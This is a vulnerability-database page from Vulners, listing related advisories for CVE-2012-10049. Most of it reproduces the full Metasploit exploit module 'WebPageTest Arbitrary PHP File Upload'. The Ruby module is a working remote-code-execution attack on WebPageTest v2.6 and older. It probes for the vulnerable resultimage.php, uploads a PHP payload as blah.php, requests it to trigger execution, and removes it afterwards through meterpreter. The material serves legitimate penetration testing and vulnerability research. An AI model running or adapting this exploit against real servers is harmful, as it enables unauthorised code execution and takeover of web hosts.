Lucene search
+L

WebPageTest Arbitrary PHP File Upload

🗓️ 13 Jul 2012 00:00:00Reported by dun, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

WebPageTest Arbitrary PHP File Upload vulnerability in the resultimage.php file allowing remote code executio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2012-10049
8 Aug 202518:13
attackerkb
circl
Circl
CVE-2012-10049
29 May 201815:50
circl
cnnvd
CNNVD
Catchpoint Systems WebPageTest 安全漏洞
8 Aug 202500:00
cnnvd
cve
CVE
CVE-2012-10049
8 Aug 202518:13
cve
cvelist
Cvelist
CVE-2012-10049 WebPageTest Arbitrary PHP File Upload RCE
8 Aug 202518:13
cvelist
euvd
EUVD
EUVD-2012-6593
7 Oct 202500:30
euvd
nvd
NVD
CVE-2012-10049
8 Aug 202519:15
nvd
ptsecurity
Positive Technologies
PT-2025-32402 · Unknown · Webpagetest
8 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2012-10049
10 Aug 202518:14
redhatcve
vulnrichment
Vulnrichment
CVE-2012-10049 WebPageTest Arbitrary PHP File Upload RCE
8 Aug 202518:13
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "WebPageTest Arbitrary PHP File Upload",
        'Description' => %q{
          This module exploits a vulnerability found in WebPageTest's Upload Feature. By
          default, the resultimage.php file does not verify the user-supplied item before
          saving it to disk, and then places this item in the web directory accessible by
          remote users.  This flaw can be abused to gain remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'dun', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10049'],
          ['OSVDB', '83822'],
          ['EDB', '19790']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['WebPageTest v2.6 or older', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-07-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    peer = "#{rhost}:#{rport}"
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res1 = send_request_raw({ 'uri' => normalize_uri("#{base}/index.php") })
    res2 = send_request_raw({ 'uri' => normalize_uri("#{base}/work/resultimage.php") })

    if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
       res2 and res2.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def on_new_session(cli)
    if cli.type != "meterpreter"
      print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
      return
    end
    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

    begin
      print_warning("Deleting: #{@target_path}")
      cli.fs.file.rm(@target_path)
      print_good("#{@target_path} removed")
    rescue
      print_error("Unable to delete: #{@target_path}")
    end
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    p = payload.encoded
    fname = "blah.php"
    data = Rex::MIME::Message.new
    data.add_part(
      "<?php #{p} ?>",                                   # Data is our payload
      'multipart/form-data',                             # Content Type
      nil,                                               # Transfer Encoding
      "form-data; name=\"file\"; filename=\"#{fname}\""  # Content Disposition
    )

    print_status("Uploading payload (#{p.length.to_s} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/work/resultimage.php"),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })

    if not res
      print_error("No response from host")
      return
    end

    @target_path = normalize_uri("#{base}/results/#{fname}")
    print_status("Requesting #{@target_path}")
    res = send_request_cgi({ 'uri' => @target_path })

    handler

    if res and res.code == 404
      print_error("Payload failed to upload")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2012 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 49.3
EPSS0.01141
SSVC
16